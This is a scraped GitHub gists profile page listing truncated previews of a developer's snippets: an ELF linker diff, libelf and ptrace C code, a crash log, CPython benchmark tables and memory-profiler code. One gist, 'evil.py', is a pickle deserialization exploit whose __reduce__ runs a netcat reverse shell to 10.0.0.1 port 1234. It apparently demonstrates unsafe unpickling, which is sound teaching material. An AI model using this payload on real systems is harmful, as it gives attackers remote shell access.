Skip to content

Instantly share code, notes, and snippets.

View pablogsal's full-sized avatar

Pablo Galindo Salgado pablogsal

View GitHub Profile
diff --git a/bfd/elf.c b/bfd/elf.c
index 84a5d94281..a0bd5203f5 100644
--- a/bfd/elf.c
+++ b/bfd/elf.c
@@ -5943,6 +5943,11 @@ assign_file_positions_for_load_sections (bfd *abfd,
link_info->callbacks->info ("%X");
}
+ /* If we have a PT_LOAD segment with no sections that is empty,
+ then we need to drop it or some loaders will complain. */
#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
@pablogsal
pablogsal / evil.py
Created October 23, 2023 08:46
evil.py
import pickle
import base64
import os
class Evil:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
Process: a.out [63465]
Path: /Users/USER/*/a.out
Load Address: 0x100000000
Identifier: a.out
Version: ???
Code Type: ARM64
Platform: macOS
Parent Process: debugserver [63466]
Date/Time: 2023-06-14 18:19:15.597 +0100
#include <elfutils/libdwfl.h>
#include <elfutils/libdw.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <cstdio>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

All benchmarks:

Benchmark 2022-12-21_09-50-main-a7715ccfba5b 2022-12-21_14-11-gc_nogen-663a9654f714
async_tree_io 1.52 sec 658 ms: 2.31x faster
async_tree_memoization 753 ms 397 ms: 1.89x faster
async_tree_none 621 ms 334 ms: 1.86x faster
async_tree_cpu_io_mixed 924 ms 607 ms: 1.52x faster
xml_etree_iterparse 121 ms 98.7 ms: 1.23x faster
#include <elf.h>
#include <fcntl.h>
#include <link.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <elf.h>
#include <fcntl.h>
from importlib.resources import path
import pathlib
from pygments import highlight
from pygments.lexers import PythonLexer
from pygments.formatters import HtmlFormatter
from collections import defaultdict
from dataclasses import dataclass
from memray import FileReader
#include <stdio.h> #include <stdlib.h> #include <sys/mman.h>
#include <stdio.h>
typedef int(*fn)(void*, void*);
typedef int(*lel)(void*);
int say_hello(void* f) {
int* val = (int*)f;
printf("Say hello: %d\n", *val);
sleep(10);
##### Python 3.10
## BB code
types | # objects | total size
============================ | =========== | ============
str | 37328 | 4.51 MB
dict | 6340 | 2.84 MB
code | 10490 | 1.95 MB
type | 1605 | 1.46 MB